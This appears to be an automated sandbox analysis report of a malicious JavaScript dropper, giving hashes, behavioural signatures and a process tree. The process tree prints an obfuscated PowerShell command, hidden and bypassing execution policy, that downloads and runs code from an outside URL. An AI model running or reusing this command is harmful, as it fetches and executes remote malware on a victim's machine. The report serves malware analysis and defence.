2ecee022c36e71313e1af91b039671ddabf56f2f28db3141e48d15dccf96064f

Analysis

max time kernel
43s
max time network
45s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
17/10/2022, 17:39

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General

Target

5a8f908de929fa670000c3c72a900288.js
Size

66KB
MD5

5a8f908de929fa670000c3c72a900288
SHA1

b62fe78ce6c9cfe5040a8e94c522dcff7a43de4f
SHA256

2ecee022c36e71313e1af91b039671ddabf56f2f28db3141e48d15dccf96064f
SHA512

73cdc14322e7570fd835480e09211c3211eee9503368ec8a2567aec5b0c0f15c8628640f7cdab3de28a681cf2ef914b3c6874b48fa111ff6478d5bffa39c2543
SSDEEP

1536:je6R4Qklp7XoRZ93vd3LjUlqFF0gx4iwgQBk6buzxF8z:jxPklp7cr3vJ/UlqFKgxtwgQBfbUS

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://8ltd8.com/doc/index.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2016	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2016	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2016	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1932 wrote to memory of 1908	1932	wscript.exe	22
PID 1932 wrote to memory of 1908	1932	wscript.exe	22
PID 1932 wrote to memory of 1908	1932	wscript.exe	22
PID 1908 wrote to memory of 2016	1908	cmd.exe	30
PID 1908 wrote to memory of 2016	1908	cmd.exe	30
PID 1908 wrote to memory of 2016	1908	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\5a8f908de929fa670000c3c72a900288.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C poWeRShell -NOp -w HidDEn -ep byPasS -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AOABsAHQAZAA4AC4AYwBvAG0ALwBkAG8AYwAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWeRShell -NOp -w HidDEn -ep byPasS -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AOABsAHQAZAA4AC4AYwBvAG0ALwBkAG8AYwAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2016

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1932-54-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

Filesize
8KB

Download
memory/2016-58-0x000007FEF3420000-0x000007FEF3E43000-memory.dmp

Filesize
10.1MB

Download
memory/2016-59-0x000007FEF28C0000-0x000007FEF341D000-memory.dmp

Filesize
11.4MB

Download
memory/2016-61-0x000000000285B000-0x000000000287A000-memory.dmp

Filesize
124KB

Download
memory/2016-60-0x0000000002854000-0x0000000002857000-memory.dmp

Filesize
12KB

Download
memory/2016-63-0x000000000285B000-0x000000000287A000-memory.dmp

Filesize
124KB

Download
memory/2016-62-0x0000000002854000-0x0000000002857000-memory.dmp

Filesize
12KB

Download